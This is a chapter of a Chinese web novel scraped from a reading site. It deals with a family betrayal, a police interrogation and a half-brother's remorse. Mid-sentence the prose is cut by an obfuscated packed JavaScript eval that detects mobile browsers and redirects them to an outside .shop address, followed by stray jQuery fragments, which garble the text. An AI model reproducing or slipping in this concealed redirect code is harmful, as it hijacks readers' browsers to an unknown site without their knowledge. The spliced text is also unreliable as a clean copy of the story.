文趣网 > 都市小说 > 独家蜜访 > 20. 是表哥吗?
    江姝晴眼前忽然多了一张纸巾。

    她愣了一下,抬头。黄黑皮警察站在她面前,手里还攥着一包抽纸,下巴朝她手里的纸巾扬了扬:“想哭就哭,这没人笑你。”

    从昨晚到现在,一直是他在守着她。笔录是他问的,热水是他倒的。江姝晴接过纸巾,低下头,眼泪一下就涌下来,止都止不住。

    “……我总嫌弃我妈动不动就哭。”她哽咽着,声音断断续续的,“可我自己也是啊…我也是啊…”

    她努力深呼吸平复情绪,但还是抽泣起来,“我遗传了泪失禁……但我从来不想在她面前哭。”

    她觉得哭是很丢人的事,尤其不能让妈妈看见。每次妈妈红着眼眶望向她的时候,她心里就酸得发胀,又烦又怕。

    她讨厌这样。讨厌自己控制不住眼泪,讨厌这种狼狈的软弱。

    “晴晴!”

    江姝晴抬起头,就看见姐姐江姝艺穿着来不及换下的通勤装,头发有些散乱,气喘吁吁地站在眼前。她原本因为刚入职,工作压力大、任务多。一早知道妹妹在警局,连忙请了假赶过来。看到妹妹眼眶红肿、满脸泪痕的那一瞬间,她的表情由焦急转为心疼。

    江姝晴直接扑过去抱住了江姝艺的腰,把脸埋进她怀里,放声哭了出来,“我是不是很没用,我本来想帮家里的,我不想看爸妈那么辛苦了……可我怎么这么笨啊……”

    她的肩膀一耸一耸地抽动着,指节攥紧了姐姐的衣摆。

    “没事的,有困难我们一起渡过难关。”江姝艺伸手稳稳地环住妹妹的后背,掌心一下一下地拍着她的肩胛骨,“能解决的。你相信姐姐,好不好?”

    京城一处普通小区里,兰曦禾领着祝勋洲走到自家门口。

    祝勋洲环顾了一圈走廊,白墙掉了一小块漆,声控灯一闪一闪的,一层四户,门挨着门。

    他微微皱了下眉:“你就住这?”

    兰曦禾掏出钥匙的手顿住了,转头看他:“这怎么了?”

    “没什么。”祝勋洲语气平淡,“就是觉得,以你的身份,不至于住这么挤的地方。”

    兰曦禾看着他,目光冷了一瞬:“嫌弃?滚。”

    “采访不要了?”祝勋洲往墙上一靠,姿态懒散,“一百万不要了?业绩不要了?”

    “滚滚长江东逝水。”兰曦禾忽然站直,双手交叠放在身前,换上一副十分官方且温柔的笑脸,语调也跟着扬了起来,“祝总工简直就是人间理想、行业楷模、京城之光,能认识您是我兰曦禾八辈子修来的福气。”

    她说得行云流水,字正腔圆。纯恨上瘾了,差点忘了自己还要从他身上捞好处。

    祝勋洲似笑非笑地看了她一眼,推门走了进去。

    屋子不大,一室一厅,收拾得倒是干净。阳台朝南,晾衣杆上挂着一排刚洗好的衣服,风从窗户缝里挤进来,把几件轻薄的布料吹得微微晃荡。

    靠左边那件白色的蕾丝边衣物尤其显眼,在晨光里透着一层若隐若现的轮廓,边缘的花纹被风掀起来又落下去。

    祝勋洲的目光无意间扫过去,停了一瞬,随即移开。

    兰曦禾正背对着他翻充电器,完全没有察觉到身后那个人刚刚有一瞬间的走神。

    “赶紧充你的电,充完赶紧走。”她把充电器递过去,语气恢复了日常的冷淡。

    祝勋洲接过,给手机插上电,又打了电话让人送一身衣服过来。

    兰曦禾从冰箱里拿出一瓶水,喝了一口,靠在厨房台面上,忽然想起了什么:“今天那辆黑车是你的仇人?方柏的人?”

    “黑车的人确实跟我有过节,”祝勋洲头也没抬,“但方柏的仇人不是我。”

    兰曦禾差点被水呛到:“那他们为什么要诬陷元筑?”

    祝勋洲没答,直接拨了个电话出去,顺手开了免提,把手机搁在茶几上。

    对面秒接,小胖的声音还是带着昨天那种没散干净的紧张:“洲哥!你没事了?”

    “我很好。”祝勋洲靠在沙发里,“现在那边什么情况?”

    小胖松了口气:“明哥还在跟方柏的人谈。对了,那个发帖的高中生,她那边是不知情的,不知道自己发的是假消息。你打不打算谅解?”

    “不谅解。”祝勋洲丝毫没犹豫。

    在他的世界观里,不管是谁,有意还是无意,做了就是做了。带来的伤害是实打实的。他决定不会因为某些因素去原谅对方。

    兰曦禾握着水瓶的手微微一紧。

    “可是,”小胖顿了顿,“那个女孩的母亲现在特别急,可能还会……”

    “那女孩什么情况?”祝勋洲打断他。

    “好像家里开了个农家乐,叫…”小胖那边翻了一下记录,“柠芯沥。咳咳,我没说情话啊,就是谐音的‘你心里’。”

    兰曦禾和祝勋洲同时怔住。

    农家乐,柠芯沥。昨晚那对收留他们的大叔大婶。那个在厨房火炉边讲起女儿有多优秀的江大叔,那个说话温和给他们找衣服的江大婶。原来那是他们的女儿。

    两人突然明白今天一大早大叔大婶消失的原因了。

    兰曦禾放下水瓶,声音沉下来:“祝勋洲,你不能没有良心。”

    电话那头,小胖猛地瞪大了眼睛,手指已经比脑子快地按下了录音键,还把音量调到最大。跟了祝勋洲快七年,第一次听见他手机里传出女人的声音。

    他屏住呼吸继续听着对面的动静。

    “不谅解。”祝勋洲挂断了电话。

    小胖看着被挂断的界面,差点当场摔手机:“……没录上!啊啊啊!”

    兰曦禾走到祝勋洲面前:“那是大叔大婶的女儿。他们昨晚收留我们过夜,给我们衣服穿,让我们睡他们的房子。而且那个女孩是被忽悠的,她根本不知道那些消息是假的。”

    祝勋洲抬起头,目光平静:“我已经把项链留给他们了。过夜的人情,不欠。”

    兰曦禾被他这句话堵得一噎,从来没有见过那么理性的人:“你做人做到这个地步,迟早没朋友。”

    “朋友?”祝勋洲笑了一声,“我不需要。怕我就够了。怕了自然就会尊重我,接近我做我的朋友,哪怕是演的,也算。”

    “祝勋洲!”兰曦禾猛地拍了一下桌子。

    「拍!」桌面发出一声沉闷响声。

    欧阳明收回刚拍桌面上的手,警局里,他看着对面那个满脸油滑、坐姿流里流气的男人,压着火气开口:“诬陷元筑的动机,我奉劝你说实话。”

    方峰靠在椅背上,嘴角慢慢扯出一个弧度:“那你可得问问你自己了,我的好弟弟。”

    小胖在旁边听得眼珠子差点掉出来,凑近欧阳明压着嗓子问:“是表哥吗?”

    他跟了欧阳明这么多年,从没听说过他还有兄弟。而且眼前这两个人,一个法拉利,一个马拉犁,怎么看都不像亲兄弟。

    欧阳明盯着方峰,没有否认。

    方峰,曾用名欧阳峰。同父异母的哥哥。

    方峰亲生母亲走得早,他记事起就一直和欧阳明还有继母生活在一起。父亲在他小学时因车祸去世,也是那时候,他才知道一直照顾自己的女人不是亲妈。

    欧阳峰从小体弱多病,学业跟不上,性格也越来越孤僻。他敏感地察觉到继母所有的偏爱都给了欧阳明,也正常,那毕竟是她亲生的骨肉。

    因为缺爱、缺关怀,欧阳峰很快有了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913091|213208||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    叛逆心理,初中便开始混迹社会。为了不被欺负,他疯狂健身,把自己练成了如今这副壮硕的模样。

    而欧阳明成绩好,所有人都在夸他。

    继母管欧阳锋却管得越来越严,不许他逃课、不许他打架、不许他跟街上的混混来往。继母的唠叨和管束,在他看来全是厌弃。

    他觉得自己被针对了,凭什么只管我?管得那么严,不就是因为我不是亲生的吗?

    初中毕业,他直接离家出走,随了生母的姓,改名叫方峰。

    前段时间,他无意间听到有人在议论元筑的零件可能有问题,心里念头就冒了出来。

    “可惜,”方峰坐在椅子上,笑了一声,带着一股凉意,“你们的数据居然是真的。”

    欧阳明攥紧了拳头:“你恨我,冲我来。为什么要动我妈?为什么要动我的公司?”

    方峰这些年没少给家里找麻烦。逢年过节往家门口泼油漆,雇人在继母家楼下发传单说她儿子欠债跑路。

    最狠的一次,也是最近的一次,他买通了家里的保姆,故意把地板弄得又湿又滑。欧阳明的母亲摔了一跤,髋骨骨裂,住了半个月的院。

    “你们该的。”方峰仰起下巴,眼底全是积了十几年的怨气,“你,还有你妈,从小就联合起来排挤我。我难道眼睁睁看着你们过得那么幸福?”

    小时候,他常常一个人躲在角落里哭。家长会,继母去的是欧阳明的班级。他生日那天,父亲还在的时候一桌菜,父亲走了之后只剩一个小蛋糕。

    欧阳明过生日的时候,满桌子的菜,蛋糕大得夸张,继母笑得那么开心。他站在楼梯上看完那一切,然后默默回房间,把门关上了。

    “你觉得我妈对你不好?我不明白我们之间是不是发生了什么误会。”欧阳明盯着他,声音忽然低下去,“因为她是继母,所以你觉得她偏心吗?”

    方峰冷笑:“难道不是吗?她为我做过什么母亲该做的事?”

    欧阳明看着他,忽然卸下了所有愤怒,只剩下一种沉重的悲哀:“你觉得没有是吗?”

    他沉默了一瞬,站起身,双手撑在桌面上,俯身看着他,一字一句地说:“你两岁的时候,高烧不退,医生说可能撑不过去了。”

    方峰的眉头微动,呼吸一滞。不明白欧阳明这个时候为什么提这件事。

    “是我妈,你继母!”欧阳明声音哽咽了一瞬,“她去庙里跪了一整天,许下心愿。她说,只要你能活下来,她这辈子吃斋念佛,绝不沾荤腥,只为给你积德。”

    他顿了顿:“后来,你真的活下来了。”

    欧阳明直起身,不再看他,转身对旁边的律师冷声道:“继续起诉,一查到底,绝不谅解。”

    方峰僵在原地,像被一道惊雷劈中了天灵盖。全身的血液仿佛瞬间倒流,冻僵了他的四肢百骸。他忽然轻笑出声。

    他低垂着头,抬手抹了一把脸,笑得更开了,嘴角都快咧到耳根。

    “真行。”他喃喃着,声音发颤,却带着一种近乎荒唐的恍然,“真他妈行。”

    他有问过继母为什么只吃素。她说信仰。他觉得她装得真像。他无数次故意在她面前大口吃肉,用筷子夹着肥腻的红烧肉在她眼前晃,看她低头避开,心里得意得像赢了一场仗。

    原来。她的信仰是他。

    他笑到直咳嗽,眼眶都笑红了,却没有掉下一滴眼泪。

    他低头看着自己那双戴着手铐的手,像是第一次真正看到它。这双手砸过继母家的窗户、泼过油漆、找人绊倒过她。她摔断腿住院的时候,他远远站在医院门口看了一眼,心里想的是:“活该。”

    现在他觉得,活该的那个人是他自己。